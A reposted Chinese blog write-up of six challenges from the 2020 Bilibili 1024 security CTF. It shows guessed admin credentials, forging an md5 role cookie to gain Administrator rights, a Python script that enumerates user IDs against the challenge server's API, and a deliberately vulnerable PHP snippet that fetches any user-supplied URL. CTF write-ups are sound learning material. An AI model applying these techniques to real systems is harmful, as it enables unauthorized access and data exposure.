2020程序员节首届哔哩哔哩安全挑战赛
程序员文章站
2022-05-15 14:09:12
...
第一题
查看源码,定位对应元素,看到flag1的value
第二题
既然说了需要用bilibili Security Browser访问,那么我们改一下UA头
这里我直接把这个浏览器加到了原来的ua头之后,试了好几次都不行
后来才意识到要把其他都删掉
这里我们用bp或者f12都可以改
第三题
纯属巧合,正经做法我还没想到
name:admin
pwd:bilibili
第四题
显示权限不足
这里我们想到cookie
查看了一下,发现有一个role
看起来像md5
我们解密一下
发现是user
那么我们改成Administrator的md5
注意A要大写
第五题
这里我们看到一个接口
那么用python跑一下
import requests
session=''#这里是你的session
def get_5():
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',
'Referer': 'http://45.113.201.36/user.html'
}
for i in range(100336850, 999999999):
response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers=headers).json() #100336973
if response['data'] != '':
print('第5题答案是:', response['data'])
get_5()
跑出flag
第六题
看到有评论本来以为是xss
发现并不是
我们扫描后台
Unicode转文字
GitHub搜索
发现好多干扰项哈哈哈哈哈哈
<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>
上一篇: 剑指Offer:矩形覆盖
下一篇: python斐波那契数列
推荐阅读